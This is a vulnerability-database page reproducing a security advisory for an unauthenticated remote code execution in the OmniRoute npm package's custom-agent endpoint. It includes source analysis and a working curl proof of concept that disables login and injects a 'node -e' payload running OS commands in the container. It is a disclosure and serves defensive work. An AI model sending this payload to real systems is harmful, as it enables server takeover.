GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-HF57-CQMX-P4GR

Vulnerability from github – Published: 2026-09-10 21:22 – Updated: 2026-09-10 21:22
VLAI
Summary
OmniRoute ACP Custom-Agent Remote Code Execution (RCE)
Details

2. Summary

POST /api/acp/agents registers a custom ACP agent. The endpoint accepts user-controlled binary and versionCommand values. After saving the custom agent, the same request calls refreshAgentCache(), which triggers agent version detection. The version probe eventually runs:

execFileSync(probe.command, probe.args, ...)

The only validation is resolveVersionProbe(binary, versionCommand, true), which checks that the first token of versionCommand matches the request-provided binary. Because binary is also attacker-controlled, an attacker can submit:

{
  "binary": "node",
  "versionCommand": "node -e \"...arbitrary JavaScript...\""
}

This executes arbitrary Node.js code inside the server container, and that code can execute OS commands via child_process.execSync().

When requireLogin=false, isAuthenticated() treats anonymous requests as authenticated. At the same time, /api/acp/ is not included in LOCAL_ONLY_API_PREFIXES or SPAWN_CAPABLE_PREFIXES, so the endpoint is not blocked by the LOCAL_ONLY policy before reaching the anonymous allow branch. As a result, a remote anonymous attacker can execute commands inside the OmniRoute container with a single HTTP request.

3. Preconditions

The unauthenticated exploit is reachable in either of the following scenarios:

  1. The target instance has requireLogin=false. This is the primary scenario covered by this report and by the reproduction steps below.
  2. A fresh instance has no management password configured yet. During this bootstrap window, /api/settings/require-login allows unauthenticated setup writes, so an attacker can first set requireLogin=false and then call the vulnerable endpoint.

If the instance is in the default requireLogin=true state and already has a management password, exploitation requires a valid management session or management-scoped API key. In that case, the bug is authenticated RCE rather than the unauthenticated scenario emphasized here.

4. Technical Analysis

4.1 The Endpoint Accepts User-Controlled Command Fields

src/app/api/acp/agents/route.ts:15-24 defines a request schema that accepts binary, versionCommand, and spawnArgs:

const customAgentBodySchema = z.object({
  action: z.string().optional(),
  id: z.string().optional(),
  name: z.string().optional(),
  binary: z.string().optional(),
  versionCommand: z.string().optional(),
  providerAlias: z.string().optional(),
  spawnArgs: z.array(z.string()).optional(),
  protocol: z.enum(["stdio", "http"]).optional(),
});

The POST handler at src/app/api/acp/agents/route.ts:58-61 only calls isAuthenticated():

export async function POST(request: Request) {
  if (!(await isAuthenticated(request))) {
    return NextResponse.json({ error: "Unauthorized" }, { status: 401 });
  }

The handler then stores binary and versionCommand in the custom agent definition without an executable allowlist:

const newAgent: CustomAgentDef = {
  id: id.toLowerCase().replace(/[^a-z0-9-]/g, "-"),
  name,
  binary,
  versionCommand,
  providerAlias: providerAlias || id,
  spawnArgs: spawnArgs || [],
  protocol: protocol || "stdio",
};

This logic is in src/app/api/acp/agents/route.ts:92-100.

4.2 The Only Guard Is a Self-Consistency Check

The only command validation in the route is at src/app/api/acp/agents/route.ts:102-107:

if (!resolveVersionProbe(newAgent.binary, newAgent.versionCommand, true)) {
  return NextResponse.json(
    { error: "Invalid versionCommand: use the configured binary with plain arguments only" },
    { status: 400 }
  );
}

The core logic of resolveVersionProbe() is in src/lib/acp/registry.ts:261-288:

export function resolveVersionProbe(
  binary: string,
  versionCommand: string,
  requireBinaryMatch = false
): { command: string; args: string[] } | null {
  const tokens = tokenizeVersionCommand(versionCommand);
  if (!tokens) {
    return null;
  }

  const [command, ...args] = tokens;
  if (!command) {
    return null;
  }

  if (requireBinaryMatch) {
    const normalizedCommand = normalizeCommandToken(command);
    const allowed = new Set([
      normalizeCommandToken(binary),
      normalizeCommandToken(path.basename(binary)),
    ]);
    if (!allowed.has(normalizedCommand)) {
      return null;
    }
  }

  return { command, args };
}

This check only requires the first token of versionCommand to equal binary or path.basename(binary). Since binary is also attacker-controlled, binary="node" and versionCommand="node -e \"...\"" pass validation.

tokenizeVersionCommand() only blocks a small set of shell metacharacters (src/lib/acp/registry.ts:183-254):

const DISALLOWED_VERSION_COMMAND_CHARS = /[;&|<>`$\r\n]/;

This does not prevent node -e code execution, because characters needed for the payload, such as (, ), ', ., /, ,, and spaces, are allowed.

4.3 The Same Request Immediately Triggers Command Execution

After saving the custom agent, the route calls refreshAgentCache() at src/app/api/acp/agents/route.ts:121-127:

const updated = [...current, newAgent];
await updateSettings({ customAgents: updated });
setCustomAgents(updated);

const agents = refreshAgentCache();
return NextResponse.json({ agents, added: newAgent });

refreshAgentCache() is defined at src/lib/acp/registry.ts:366-369:

export function refreshAgentCache(): CliAgentInfo[] {
  _cachedAgents = null;
  return detectInstalledAgents();
}

detectInstalledAgents() merges built-in and custom agents and calls detectAgent() for each one (src/lib/acp/registry.ts:342-360):

const allDefs = [
  ...AGENT_DEFINITIONS.map((d) => ({ ...d, _custom: false })),
  ..._customAgentDefs.map((d) => ({ ...d, _custom: true })),
];

_cachedAgents = allDefs.map((def) => {
  const { _custom, ...rest } = def;
  return detectAgent(rest, _custom);
});

The command execution sink is at src/lib/acp/registry.ts:307-325:

const probe = resolveVersionProbe(def.binary, def.versionCommand, isCustom);
if (!probe) {
  return { ...def, version, installed, isCustom };
}

const output = execFileSync(probe.command, probe.args, {
  timeout: 5000,
  encoding: "utf-8",
  stdio: ["pipe", "pipe", "pipe"],
  ...(shouldUseShellForVersionProbe(probe.command) ? { shell: true } : {}),
}).trim();

On Linux containers, shouldUseShellForVersionProbe() returns false for non-Windows platforms (src/lib/acp/registry.ts:290-301):

export function shouldUseShellForVersionProbe(
  command: string,
  platform = process.platform
): boolean {
  if (platform !== "win32") return false;
  ...
}

Therefore the effective execution is execFileSync("node", ["-e", "..."]). No shell metacharacters are required.

4.4 Why This Is Unauthenticated

isAuthenticated() is defined at src/shared/utils/apiAuth.ts:285-302:

export async function isAuthenticated(request: Request): Promise<boolean> {
  if (!(await isAuthRequired(request))) {
    return true;
  }
  ...
}

isAuthRequired() returns false when requireLogin=false (src/shared/utils/apiAuth.ts:317-323):

const settings = await getSettings();
if (settings.requireLogin === false) return false;

The centralized management policy also has the same anonymous allow branch at src/server/authz/policies/management.ts:223-226:

if (!isAlwaysProtectedPath(path) && !(await isAuthRequired(ctx.request))) {
  return allow({ kind: "anonymous", id: "anonymous", label: "auth-disabled" });
}

Routes that can start local subprocesses should be blocked by the LOCAL_ONLY policy first. src/server/authz/routeGuard.ts:29-45 lists LOCAL_ONLY prefixes such as /api/mcp/, /api/cli-tools/runtime/, /api/services/, /api/tools/agent-bridge/, and /api/plugins/, but it does not include /api/acp/:

export const LOCAL_ONLY_API_PREFIXES: ReadonlyArray<string> = [
  "/api/mcp/",
  "/api/cli-tools/runtime/",
  "/api/services/",
  "/dashboard/providers/services/",
  "/api/copilot/",
  "/api/tools/agent-bridge/",
  "/api/tools/traffic-inspector/",
  "/api/plugins/",
  "/api/plugins",
  "/api/system/version",
  "/api/db-backups/exportAll",
  "/api/local/",
  "/api/headroom/start",
  "/api/headroom/stop",
  "/api/oauth/cursor/auto-import",
];

SPAWN_CAPABLE_PREFIXES also omits /api/acp/ (src/shared/constants/spawnCapablePrefixes.ts:26-35).

This means /api/acp/agents reaches the anonymous allow branch when requireLogin=false instead of being rejected by the LOCAL_ONLY gate.

5. Reproduction Environment

The issue can be reproduced in a local Docker environment:

  • OmniRoute image: diegosouzapw/omniroute:latest
  • Exposed port: 20128
  • Container data directory: /app/data
  • PoC behavior: runs only read-only commands (id and uname -a) and writes their output to /app/data/UNAUTH_RCE_PROOF.txt

6. Reproduction Steps

6.1 Start a Test Instance

JWT=$(openssl rand -base64 48)
AKS=$(openssl rand -hex 32)

docker network create omniroute-poc-net
docker run -d --name omniroute-poc-redis --network omniroute-poc-net redis:7-alpine
docker run -d --name omniroute-poc --network omniroute-poc-net \
  -p 20128:20128 -p 20129:20129 \
  -e JWT_SECRET="$JWT" \
  -e API_KEY_SECRET="$AKS" \
  -e REDIS_URL="redis://omniroute-poc-redis:6379" \
  diegosouzapw/omniroute:latest

Wait for startup:

until curl -sf http://localhost:20128/api/health >/dev/null 2>&1 || \
      curl -sf http://localhost:20128/ >/dev/null 2>&1; do
  sleep 2
done

6.2 Put the Instance in the Login-Disabled State

This step models a self-hosted instance where dashboard login has been disabled:

curl -s -X POST "http://localhost:20128/api/settings/require-login" \
  -H "content-type: application/json" \
  -d '{"requireLogin":false}'

If the target is already in requireLogin=false, this step is not needed.

6.3 Trigger RCE Anonymously

The following request sends no cookie and no Bearer token:

curl -s -X POST "http://localhost:20128/api/acp/agents" \
  -H "content-type: application/json" \
  -d '{
    "id":"anonrce",
    "name":"anonrce",
    "binary":"node",
    "protocol":"stdio",
    "versionCommand":"node -e \"require('\''fs'\'').writeFileSync('\''/app/data/UNAUTH_RCE_PROOF.txt'\'',require('\''child_process'\'').execSync('\''id'\'').toString()+require('\''child_process'\'').execSync('\''uname -a'\'').toString())\""
  }'

6.4 Verify Command Execution

docker exec omniroute-poc cat /app/data/UNAUTH_RCE_PROOF.txt

Expected output is similar to:

uid=1000(node) gid=1000(node) groups=1000(node)
Linux <container-id> <kernel-version> ... <arch> GNU/Linux

This proves that the anonymous HTTP request executed id and uname -a inside the OmniRoute container.

image

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "omniroute"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.8.50"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-88062"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-10T21:22:12Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## 2. Summary\n\n`POST /api/acp/agents` registers a custom ACP agent. The endpoint accepts user-controlled\n`binary` and `versionCommand` values. After saving the custom agent, the same request calls\n`refreshAgentCache()`, which triggers agent version detection. The version probe eventually runs:\n\n```ts\nexecFileSync(probe.command, probe.args, ...)\n```\n\nThe only validation is `resolveVersionProbe(binary, versionCommand, true)`, which checks that the\nfirst token of `versionCommand` matches the request-provided `binary`. Because `binary` is also\nattacker-controlled, an attacker can submit:\n\n```json\n{\n  \"binary\": \"node\",\n  \"versionCommand\": \"node -e \\\"...arbitrary JavaScript...\\\"\"\n}\n```\n\nThis executes arbitrary Node.js code inside the server container, and that code can execute OS\ncommands via `child_process.execSync()`.\n\nWhen `requireLogin=false`, `isAuthenticated()` treats anonymous requests as authenticated. At the\nsame time, `/api/acp/` is not included in `LOCAL_ONLY_API_PREFIXES` or `SPAWN_CAPABLE_PREFIXES`, so\nthe endpoint is not blocked by the LOCAL_ONLY policy before reaching the anonymous allow branch.\nAs a result, a remote anonymous attacker can execute commands inside the OmniRoute container with a\nsingle HTTP request.\n\n## 3. Preconditions\n\nThe unauthenticated exploit is reachable in either of the following scenarios:\n\n1. The target instance has `requireLogin=false`. This is the primary scenario covered by this\n   report and by the reproduction steps below.\n2. A fresh instance has no management password configured yet. During this bootstrap window,\n   `/api/settings/require-login` allows unauthenticated setup writes, so an attacker can first set\n   `requireLogin=false` and then call the vulnerable endpoint.\n\nIf the instance is in the default `requireLogin=true` state and already has a management password,\nexploitation requires a valid management session or management-scoped API key. In that case, the\nbug is authenticated RCE rather than the unauthenticated scenario emphasized here.\n\n## 4. Technical Analysis\n\n### 4.1 The Endpoint Accepts User-Controlled Command Fields\n\n`src/app/api/acp/agents/route.ts:15-24` defines a request schema that accepts `binary`,\n`versionCommand`, and `spawnArgs`:\n\n```ts\nconst customAgentBodySchema = z.object({\n  action: z.string().optional(),\n  id: z.string().optional(),\n  name: z.string().optional(),\n  binary: z.string().optional(),\n  versionCommand: z.string().optional(),\n  providerAlias: z.string().optional(),\n  spawnArgs: z.array(z.string()).optional(),\n  protocol: z.enum([\"stdio\", \"http\"]).optional(),\n});\n```\n\nThe `POST` handler at `src/app/api/acp/agents/route.ts:58-61` only calls `isAuthenticated()`:\n\n```ts\nexport async function POST(request: Request) {\n  if (!(await isAuthenticated(request))) {\n    return NextResponse.json({ error: \"Unauthorized\" }, { status: 401 });\n  }\n```\n\nThe handler then stores `binary` and `versionCommand` in the custom agent definition without an\nexecutable allowlist:\n\n```ts\nconst newAgent: CustomAgentDef = {\n  id: id.toLowerCase().replace(/[^a-z0-9-]/g, \"-\"),\n  name,\n  binary,\n  versionCommand,\n  providerAlias: providerAlias || id,\n  spawnArgs: spawnArgs || [],\n  protocol: protocol || \"stdio\",\n};\n```\n\nThis logic is in `src/app/api/acp/agents/route.ts:92-100`.\n\n### 4.2 The Only Guard Is a Self-Consistency Check\n\nThe only command validation in the route is at `src/app/api/acp/agents/route.ts:102-107`:\n\n```ts\nif (!resolveVersionProbe(newAgent.binary, newAgent.versionCommand, true)) {\n  return NextResponse.json(\n    { error: \"Invalid versionCommand: use the configured binary with plain arguments only\" },\n    { status: 400 }\n  );\n}\n```\n\nThe core logic of `resolveVersionProbe()` is in `src/lib/acp/registry.ts:261-288`:\n\n```ts\nexport function resolveVersionProbe(\n  binary: string,\n  versionCommand: string,\n  requireBinaryMatch = false\n): { command: string; args: string[] } | null {\n  const tokens = tokenizeVersionCommand(versionCommand);\n  if (!tokens) {\n    return null;\n  }\n\n  const [command, ...args] = tokens;\n  if (!command) {\n    return null;\n  }\n\n  if (requireBinaryMatch) {\n    const normalizedCommand = normalizeCommandToken(command);\n    const allowed = new Set([\n      normalizeCommandToken(binary),\n      normalizeCommandToken(path.basename(binary)),\n    ]);\n    if (!allowed.has(normalizedCommand)) {\n      return null;\n    }\n  }\n\n  return { command, args };\n}\n```\n\nThis check only requires the first token of `versionCommand` to equal `binary` or\n`path.basename(binary)`. Since `binary` is also attacker-controlled, `binary=\"node\"` and\n`versionCommand=\"node -e \\\"...\\\"\"` pass validation.\n\n`tokenizeVersionCommand()` only blocks a small set of shell metacharacters\n(`src/lib/acp/registry.ts:183-254`):\n\n```ts\nconst DISALLOWED_VERSION_COMMAND_CHARS = /[;\u0026|\u003c\u003e`$\\r\\n]/;\n```\n\nThis does not prevent `node -e` code execution, because characters needed for the payload, such as\n`(`, `)`, `\u0027`, `.`, `/`, `,`, and spaces, are allowed.\n\n### 4.3 The Same Request Immediately Triggers Command Execution\n\nAfter saving the custom agent, the route calls `refreshAgentCache()` at\n`src/app/api/acp/agents/route.ts:121-127`:\n\n```ts\nconst updated = [...current, newAgent];\nawait updateSettings({ customAgents: updated });\nsetCustomAgents(updated);\n\nconst agents = refreshAgentCache();\nreturn NextResponse.json({ agents, added: newAgent });\n```\n\n`refreshAgentCache()` is defined at `src/lib/acp/registry.ts:366-369`:\n\n```ts\nexport function refreshAgentCache(): CliAgentInfo[] {\n  _cachedAgents = null;\n  return detectInstalledAgents();\n}\n```\n\n`detectInstalledAgents()` merges built-in and custom agents and calls `detectAgent()` for each one\n(`src/lib/acp/registry.ts:342-360`):\n\n```ts\nconst allDefs = [\n  ...AGENT_DEFINITIONS.map((d) =\u003e ({ ...d, _custom: false })),\n  ..._customAgentDefs.map((d) =\u003e ({ ...d, _custom: true })),\n];\n\n_cachedAgents = allDefs.map((def) =\u003e {\n  const { _custom, ...rest } = def;\n  return detectAgent(rest, _custom);\n});\n```\n\nThe command execution sink is at `src/lib/acp/registry.ts:307-325`:\n\n```ts\nconst probe = resolveVersionProbe(def.binary, def.versionCommand, isCustom);\nif (!probe) {\n  return { ...def, version, installed, isCustom };\n}\n\nconst output = execFileSync(probe.command, probe.args, {\n  timeout: 5000,\n  encoding: \"utf-8\",\n  stdio: [\"pipe\", \"pipe\", \"pipe\"],\n  ...(shouldUseShellForVersionProbe(probe.command) ? { shell: true } : {}),\n}).trim();\n```\n\nOn Linux containers, `shouldUseShellForVersionProbe()` returns `false` for non-Windows platforms\n(`src/lib/acp/registry.ts:290-301`):\n\n```ts\nexport function shouldUseShellForVersionProbe(\n  command: string,\n  platform = process.platform\n): boolean {\n  if (platform !== \"win32\") return false;\n  ...\n}\n```\n\nTherefore the effective execution is `execFileSync(\"node\", [\"-e\", \"...\"])`. No shell\nmetacharacters are required.\n\n### 4.4 Why This Is Unauthenticated\n\n`isAuthenticated()` is defined at `src/shared/utils/apiAuth.ts:285-302`:\n\n```ts\nexport async function isAuthenticated(request: Request): Promise\u003cboolean\u003e {\n  if (!(await isAuthRequired(request))) {\n    return true;\n  }\n  ...\n}\n```\n\n`isAuthRequired()` returns `false` when `requireLogin=false`\n(`src/shared/utils/apiAuth.ts:317-323`):\n\n```ts\nconst settings = await getSettings();\nif (settings.requireLogin === false) return false;\n```\n\nThe centralized management policy also has the same anonymous allow branch at\n`src/server/authz/policies/management.ts:223-226`:\n\n```ts\nif (!isAlwaysProtectedPath(path) \u0026\u0026 !(await isAuthRequired(ctx.request))) {\n  return allow({ kind: \"anonymous\", id: \"anonymous\", label: \"auth-disabled\" });\n}\n```\n\nRoutes that can start local subprocesses should be blocked by the LOCAL_ONLY policy first.\n`src/server/authz/routeGuard.ts:29-45` lists LOCAL_ONLY prefixes such as `/api/mcp/`,\n`/api/cli-tools/runtime/`, `/api/services/`, `/api/tools/agent-bridge/`, and `/api/plugins/`, but\nit does not include `/api/acp/`:\n\n```ts\nexport const LOCAL_ONLY_API_PREFIXES: ReadonlyArray\u003cstring\u003e = [\n  \"/api/mcp/\",\n  \"/api/cli-tools/runtime/\",\n  \"/api/services/\",\n  \"/dashboard/providers/services/\",\n  \"/api/copilot/\",\n  \"/api/tools/agent-bridge/\",\n  \"/api/tools/traffic-inspector/\",\n  \"/api/plugins/\",\n  \"/api/plugins\",\n  \"/api/system/version\",\n  \"/api/db-backups/exportAll\",\n  \"/api/local/\",\n  \"/api/headroom/start\",\n  \"/api/headroom/stop\",\n  \"/api/oauth/cursor/auto-import\",\n];\n```\n\n`SPAWN_CAPABLE_PREFIXES` also omits `/api/acp/`\n(`src/shared/constants/spawnCapablePrefixes.ts:26-35`).\n\nThis means `/api/acp/agents` reaches the anonymous allow branch when `requireLogin=false` instead\nof being rejected by the LOCAL_ONLY gate.\n\n## 5. Reproduction Environment\n\nThe issue can be reproduced in a local Docker environment:\n\n- OmniRoute image: `diegosouzapw/omniroute:latest`\n- Exposed port: `20128`\n- Container data directory: `/app/data`\n- PoC behavior: runs only read-only commands (`id` and `uname -a`) and writes their output to\n  `/app/data/UNAUTH_RCE_PROOF.txt`\n\n## 6. Reproduction Steps\n\n### 6.1 Start a Test Instance\n\n```bash\nJWT=$(openssl rand -base64 48)\nAKS=$(openssl rand -hex 32)\n\ndocker network create omniroute-poc-net\ndocker run -d --name omniroute-poc-redis --network omniroute-poc-net redis:7-alpine\ndocker run -d --name omniroute-poc --network omniroute-poc-net \\\n  -p 20128:20128 -p 20129:20129 \\\n  -e JWT_SECRET=\"$JWT\" \\\n  -e API_KEY_SECRET=\"$AKS\" \\\n  -e REDIS_URL=\"redis://omniroute-poc-redis:6379\" \\\n  diegosouzapw/omniroute:latest\n```\n\nWait for startup:\n\n```bash\nuntil curl -sf http://localhost:20128/api/health \u003e/dev/null 2\u003e\u00261 || \\\n      curl -sf http://localhost:20128/ \u003e/dev/null 2\u003e\u00261; do\n  sleep 2\ndone\n```\n\n### 6.2 Put the Instance in the Login-Disabled State\n\nThis step models a self-hosted instance where dashboard login has been disabled:\n\n```bash\ncurl -s -X POST \"http://localhost:20128/api/settings/require-login\" \\\n  -H \"content-type: application/json\" \\\n  -d \u0027{\"requireLogin\":false}\u0027\n```\n\nIf the target is already in `requireLogin=false`, this step is not needed.\n\n### 6.3 Trigger RCE Anonymously\n\nThe following request sends no cookie and no Bearer token:\n\n```bash\ncurl -s -X POST \"http://localhost:20128/api/acp/agents\" \\\n  -H \"content-type: application/json\" \\\n  -d \u0027{\n    \"id\":\"anonrce\",\n    \"name\":\"anonrce\",\n    \"binary\":\"node\",\n    \"protocol\":\"stdio\",\n    \"versionCommand\":\"node -e \\\"require(\u0027\\\u0027\u0027fs\u0027\\\u0027\u0027).writeFileSync(\u0027\\\u0027\u0027/app/data/UNAUTH_RCE_PROOF.txt\u0027\\\u0027\u0027,require(\u0027\\\u0027\u0027child_process\u0027\\\u0027\u0027).execSync(\u0027\\\u0027\u0027id\u0027\\\u0027\u0027).toString()+require(\u0027\\\u0027\u0027child_process\u0027\\\u0027\u0027).execSync(\u0027\\\u0027\u0027uname -a\u0027\\\u0027\u0027).toString())\\\"\"\n  }\u0027\n```\n\n### 6.4 Verify Command Execution\n\n```bash\ndocker exec omniroute-poc cat /app/data/UNAUTH_RCE_PROOF.txt\n```\n\nExpected output is similar to:\n\n```text\nuid=1000(node) gid=1000(node) groups=1000(node)\nLinux \u003ccontainer-id\u003e \u003ckernel-version\u003e ... \u003carch\u003e GNU/Linux\n```\n\nThis proves that the anonymous HTTP request executed `id` and `uname -a` inside the OmniRoute\ncontainer.\n\n\u003cimg width=\"2123\" height=\"1195\" alt=\"image\" src=\"https://github.com/user-attachments/assets/935ae9c2-3d75-45ec-9a90-f325bbd17e4f\" /\u003e",
  "id": "GHSA-hf57-cqmx-p4gr",
  "modified": "2026-09-10T21:22:12Z",
  "published": "2026-09-10T21:22:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/diegosouzapw/OmniRoute/security/advisories/GHSA-hf57-cqmx-p4gr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/diegosouzapw/OmniRoute/pull/11028"
    },
    {
      "type": "WEB",
      "url": "https://github.com/diegosouzapw/OmniRoute/commit/60829241fd64d0317aa6a0dd8cd7a445a5287fed"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/diegosouzapw/OmniRoute"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": " OmniRoute ACP Custom-Agent Remote Code Execution (RCE)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…